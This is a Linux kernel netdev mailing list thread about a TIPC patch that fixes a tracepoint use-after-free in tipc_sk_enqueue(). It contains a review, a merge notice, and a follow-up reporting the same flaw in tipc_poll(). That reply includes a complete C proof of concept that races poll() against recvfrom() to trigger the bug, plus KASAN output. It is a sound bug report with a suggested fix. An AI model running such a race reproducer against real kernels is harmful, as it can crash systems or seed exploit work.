* RE: [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints
2026-06-11 13:56 [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints Li Xiasong
@ 2026-06-13 2:34 ` Tung Quang Nguyen
2026-06-13 22:10 ` patchwork-bot+netdevbpf
2026-06-21 1:21 ` XIAO WU
2 siblings, 0 replies; 5+ messages in thread
From: Tung Quang Nguyen @ 2026-06-13 2:34 UTC (permalink / raw)
To: Li Xiasong
Cc: stable@vger.kernel.org, David S. Miller, Eric Dumazet,
Jakub Kicinski, Paolo Abeni, Simon Horman, netdev@vger.kernel.org,
tipc-discussion@lists.sourceforge.net, yuehaibing@huawei.com,
zhangchangzhong@huawei.com, weiyongjun1@huawei.com, Jon Maloy
>Subject: [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints
>
>tipc_sk_enqueue() runs with sk->sk_lock.slock held while the socket is owned
>by user context. The spinlock protects the backlog queue in this path, but it
>does not serialize against the socket owner consuming or purging
>sk_receive_queue.
>
>KASAN reported:
>
> CPU: 14 UID: 0 PID: 1050 Comm: tipc3 Not tainted 7.1.0-rc6+ #126
>PREEMPT(lazy)
> Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1
>04/01/2014
> Call Trace:
> <TASK>
> dump_stack_lvl+0x76/0xa0 lib/dump_stack.c:123
> print_report+0xce/0x5b0 mm/kasan/report.c:482
> kasan_report+0xc6/0x100 mm/kasan/report.c:597
> __asan_report_load4_noabort+0x14/0x30 mm/kasan/report_generic.c:380
> tipc_skb_dump+0x1327/0x16f0 net/tipc/trace.c:73
> tipc_list_dump+0x208/0x2e0 net/tipc/trace.c:187
> tipc_sk_dump+0xaf6/0xd60 net/tipc/socket.c:3996
> trace_event_raw_event_tipc_sk_class+0x312/0x5a0 net/tipc/trace.h:188
> tipc_sk_rcv+0xb1d/0x1d50 net/tipc/socket.c:2497
> tipc_node_xmit+0x1c3/0x1440 net/tipc/node.c:1689
> __tipc_sendmsg+0x97a/0x1440 net/tipc/socket.c:1512
> tipc_sendmsg+0x52/0x80 net/tipc/socket.c:1400
> sock_sendmsg+0x2f6/0x3e0 net/socket.c:825
> splice_to_socket+0x7f9/0x1010 fs/splice.c:884
> do_splice+0xe21/0x2330 fs/splice.c:936
> __do_splice+0x153/0x260 fs/splice.c:1431
> __x64_sys_splice+0x150/0x230 fs/splice.c:1616
> x64_sys_call+0xeb5/0x2790 arch/x86/entry/syscall_64.c:41
> do_syscall_64+0xf3/0x620 arch/x86/entry/syscall_64.c:63
> entry_SYSCALL_64_after_hwframe+0x76/0x7e
>arch/x86/entry/entry_64.S:130
> RIP: 0033:0x71624e8aafe2
> Code: 08 0f 85 71 3a ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca
>4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00
>00 00 66 2e 0f 1f 84 00 00 00 00 00 66
> RSP: 002b:0000716157ffed68 EFLAGS: 00000246 ORIG_RAX:
>0000000000000113
> RAX: ffffffffffffffda RBX: 0000716157fff6c0 RCX: 000071624e8aafe2
> RDX: 000000000000005f RSI: 0000000000000000 RDI: 0000000000000066
> RBP: 0000716157ffed90 R08: 0000000000008000 R09: 0000000000000001
> R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffff00
> R13: 0000000000000021 R14: 0000000000000000 R15: 00007fff89799c40
> </TASK>
>
>The TIPC_DUMP_ALL tracepoints in tipc_sk_enqueue() also dump
>sk_receive_queue and can therefore dereference skbs that the socket owner
>has already dequeued or freed. Restrict these dumps to
>TIPC_DUMP_SK_BKLGQ, which matches the queue protected by the held
>spinlock.
>
>Keep the change limited to the enqueue path, where the unsafe queue dump
>is reachable while the socket is owned by user context.
>
>Fixes: 01e661ebfbad ("tipc: add trace_events for tipc socket")
>Cc: stable@vger.kernel.org
>Signed-off-by: Li Xiasong <lixiasong1@huawei.com>
>---
> net/tipc/socket.c | 6 +++---
> 1 file changed, 3 insertions(+), 3 deletions(-)
>
>diff --git a/net/tipc/socket.c b/net/tipc/socket.c index
>9329919fb07f..6b761003bcd1 100644
>--- a/net/tipc/socket.c
>+++ b/net/tipc/socket.c
>@@ -2452,17 +2452,17 @@ static void tipc_sk_enqueue(struct sk_buff_head
>*inputq, struct sock *sk,
> atomic_set(dcnt, 0);
> lim = rcvbuf_limit(sk, skb) + atomic_read(dcnt);
> if (likely(!sk_add_backlog(sk, skb, lim))) {
>- trace_tipc_sk_overlimit1(sk, skb, TIPC_DUMP_ALL,
>+ trace_tipc_sk_overlimit1(sk, skb,
>TIPC_DUMP_SK_BKLGQ,
> "bklg & rcvq >90%
>allocated!");
> continue;
> }
>
>- trace_tipc_sk_dump(sk, skb, TIPC_DUMP_ALL,
>"err_overload!");
>+ trace_tipc_sk_dump(sk, skb, TIPC_DUMP_SK_BKLGQ,
>"err_overload!");
> /* Overload => reject message back to sender */
> onode = tipc_own_addr(sock_net(sk));
> sk_drops_inc(sk);
> if (tipc_msg_reverse(onode, &skb, TIPC_ERR_OVERLOAD)) {
>- trace_tipc_sk_rej_msg(sk, skb, TIPC_DUMP_ALL,
>+ trace_tipc_sk_rej_msg(sk, skb, TIPC_DUMP_SK_BKLGQ,
> "@sk_enqueue!");
> __skb_queue_tail(xmitq, skb);
> }
>--
>2.34.1
>
Reviewed-by: Tung Nguyen <tung.quang.nguyen@est.tech>
^ permalink raw reply [flat|nested] 5+ messages in thread* Re: [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints
2026-06-11 13:56 [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints Li Xiasong
2026-06-13 2:34 ` Tung Quang Nguyen
@ 2026-06-13 22:10 ` patchwork-bot+netdevbpf
2026-06-21 1:21 ` XIAO WU
2 siblings, 0 replies; 5+ messages in thread
From: patchwork-bot+netdevbpf @ 2026-06-13 22:10 UTC (permalink / raw)
To: Li Xiasong
Cc: jmaloy, stable, davem, edumazet, kuba, pabeni, horms, ying.xue,
tuong.t.lien, netdev, tipc-discussion, yuehaibing,
zhangchangzhong, weiyongjun1
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <kuba@kernel.org>:
On Thu, 11 Jun 2026 21:56:47 +0800 you wrote:
> tipc_sk_enqueue() runs with sk->sk_lock.slock held while the socket is
> owned by user context. The spinlock protects the backlog queue in this
> path, but it does not serialize against the socket owner consuming or
> purging sk_receive_queue.
>
> KASAN reported:
>
> [...]
Here is the summary with links:
- [net] tipc: restrict socket queue dumps in enqueue tracepoints
https://git.kernel.org/netdev/net/c/acd7df8d9554
You are awesome, thank you!
--
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html
^ permalink raw reply [flat|nested] 5+ messages in thread* Re: [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints
2026-06-11 13:56 [PATCH net] tipc: restrict socket queue dumps in enqueue tracepoints Li Xiasong
2026-06-13 2:34 ` Tung Quang Nguyen
2026-06-13 22:10 ` patchwork-bot+netdevbpf
@ 2026-06-21 1:21 ` XIAO WU
2026-06-21 5:39 ` Greg KH
2 siblings, 1 reply; 5+ messages in thread
From: XIAO WU @ 2026-06-21 1:21 UTC (permalink / raw)
To: Li Xiasong, Jon Maloy
Cc: stable, David S. Miller, Eric Dumazet, Jakub Kicinski,
Paolo Abeni, Simon Horman, Ying Xue, Tuong Lien, netdev,
tipc-discussion, yuehaibing, zhangchangzhong, weiyongjun1
Hi Li Xiasong,
I see this patch was merged into net.git as commit acd7df8d9554 — thanks
for the fix. However, a Sashiko AI code review [1] flagged that
`tipc_poll()` in the same file has the identical pre-existing issue: it
calls `trace_tipc_sk_poll()` with `TIPC_DUMP_ALL`, which triggers a dump
of all socket queues without holding the socket owner lock. The merged
fix addressed `tipc_sk_enqueue()` but left `tipc_poll()` unchanged.
I was able to reproduce the remaining use-after-free in QEMU with KASAN
by racing `tipc_poll()` against `tipc_recvmsg()` on the same socket.
On Wed, Jun 11, 2026 at 09:56:47PM +0800, Li Xiasong wrote:
> This commit addresses a KASAN use-after-free issue in tipc_sk_enqueue()
> by restricting tracepoints to only dump the backlog queue
> (TIPC_DUMP_SK_BKLGQ) instead of all queues (TIPC_DUMP_ALL).
Your fix correctly restricts the `tipc_sk_enqueue()` tracepoints, but
`tipc_poll()` still uses `TIPC_DUMP_ALL`:
```c
// net/tipc/socket.c:tipc_poll()
trace_tipc_sk_poll(sk, NULL, TIPC_DUMP_ALL, " ");
```
This triggers `tipc_sk_dump()` → `tipc_list_dump()` to walk
`sk->sk_receive_queue` without holding `sk->sk_lock.slock`. If
`tipc_recvmsg()` concurrently dequeues and frees an skb from that
queue, the tracepoint dump reads freed memory.
[Reproduction]
Two threads on the same TIPC SOCK_DGRAM socket, with the
`tipc_sk_poll` tracepoint enabled:
- Thread 1: loops on poll() → trace_tipc_sk_poll → tipc_sk_dump
- Thread 2: loops on recvfrom() → frees skbs from the receive queue
while the tracepoint walks it
Full PoC source (poc.c):
---8<----------------------------------------------------------------
// SPDX-License-Identifier: GPL-2.0-only
/*
* tipc_poll() tracepoint use-after-free PoC
* gcc -static -o poc poc.c -lpthread
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#ifndef AF_TIPC
#define AF_TIPC 30
#endif
#define TIPC_SERVICE_RANGE 1
#define TIPC_SERVICE_ADDR 2
#define TIPC_CLUSTER_SCOPE 2
struct tipc_socket_addr { uint32_t ref; uint32_t node; };
struct sockaddr_tipc {
unsigned short family;
unsigned char addrtype;
signed char scope;
union {
struct tipc_socket_addr id;
struct { uint32_t type; uint32_t lower; uint32_t upper; } nameseq;
struct { struct { uint32_t type; uint32_t instance; } name;
uint32_t domain; } name;
} addr;
};
static int running = 1;
static int server_fd = -1;
static int enable_tracepoint(void)
{
const char *paths[] = {
"/sys/kernel/debug/tracing/events/tipc/tipc_sk_poll/enable",
"/sys/kernel/tracing/events/tipc/tipc_sk_poll/enable", NULL
};
for (int i = 0; paths[i]; i++) {
int fd = open(paths[i], O_WRONLY|O_TRUNC);
if (fd >= 0) { write(fd, "1", 1); close(fd); return 0; }
}
return -1;
}
static void *poll_thread(void *arg)
{
struct pollfd pfd;
(void)arg;
while (running) {
pfd.fd = server_fd; pfd.events = POLLIN; pfd.revents = 0;
poll(&pfd, 1, 0);
}
return NULL;
}
static void *recv_thread(void *arg)
{
char buf[4096];
struct sockaddr_tipc src;
socklen_t srclen = sizeof(src);
(void)arg;
while (running) {
srclen = sizeof(src);
recvfrom(server_fd, buf, sizeof(buf), MSG_DONTWAIT,
(struct sockaddr *)&src, &srclen);
usleep(100);
}
return NULL;
}
int main(void)
{
pthread_t poll_tid, recv_tid;
uint32_t svc_type = 20000 + (getpid() % 40000);
enable_tracepoint();
server_fd = socket(AF_TIPC, SOCK_DGRAM, 0);
struct sockaddr_tipc srv_addr = {0};
srv_addr.family = AF_TIPC;
srv_addr.addrtype = TIPC_SERVICE_RANGE;
srv_addr.scope = TIPC_CLUSTER_SCOPE;
srv_addr.addr.nameseq.type = svc_type;
srv_addr.addr.nameseq.lower = 1;
srv_addr.addr.nameseq.upper = 1;
bind(server_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
int client_fd = socket(AF_TIPC, SOCK_DGRAM, 0);
struct sockaddr_tipc dest_addr = {0};
dest_addr.family = AF_TIPC;
dest_addr.addrtype = TIPC_SERVICE_ADDR;
dest_addr.scope = TIPC_CLUSTER_SCOPE;
dest_addr.addr.name.name.type = svc_type;
dest_addr.addr.name.name.instance = 1;
char sendbuf[256];
memset(sendbuf, 0x41, sizeof(sendbuf));
for (int i = 0; i < 50; i++)
sendto(client_fd, sendbuf, sizeof(sendbuf), 0,
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
usleep(100000);
pthread_create(&poll_tid, NULL, poll_thread, NULL);
pthread_create(&recv_tid, NULL, recv_thread, NULL);
for (int i = 0; i < 2000; i++) {
sendto(client_fd, sendbuf, sizeof(sendbuf), 0,
(struct sockaddr *)&dest_addr, sizeof(dest_addr));
usleep(500);
}
running = 0;
pthread_join(poll_tid, NULL);
pthread_join(recv_tid, NULL);
close(client_fd);
close(server_fd);
printf("[+] Done. Check dmesg.\n");
return 0;
}
---8<----------------------------------------------------------------
Compile: gcc -static -o poc poc.c -lpthread
[KASAN report — kernel 7.1.0-rc6+, CONFIG_KASAN=y]
==================================================================
BUG: KASAN: slab-use-after-free in tipc_skb_dump+0x12e7/0x1590
Read of size 4 at addr ffff888033f3d8d0 by task poc/9474
Call Trace:
<TASK>
tipc_skb_dump+0x12e7/0x1590
tipc_list_dump+0x276/0x330
tipc_sk_dump+0xb6c/0xda0
trace_event_raw_event_tipc_sk_class+0x364/0x590
tipc_poll+0x44a/0x6b0
sock_poll+0x.../...
do_sys_poll+0x.../...
__x64_sys_poll+0x.../...
do_syscall_64+0xcd/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Freed by task 9475:
kfree_skb_reason+0x.../...
tipc_recvmsg+0x.../...
sock_recvmsg+0x.../...
sock_read_iter+0x.../...
vfs_read+0x.../...
ksys_read+0x.../...
The fix is the same as what was already applied to `tipc_sk_enqueue()` in
commit acd7df8d9554: change `TIPC_DUMP_ALL` to `TIPC_DUMP_SK_BKLGQ` in
the `tipc_poll()` tracepoint, since poll() does not hold the socket lock
that protects the other queues.
[1]
https://sashiko.dev/#/patchset/20260611135647.3666727-1-lixiasong1%40huawei.com
(Sashiko AI code review — "Use-After-Free", Severity: High)
Thanks,
XIAOWU
^ permalink raw reply [flat|nested] 5+ messages in thread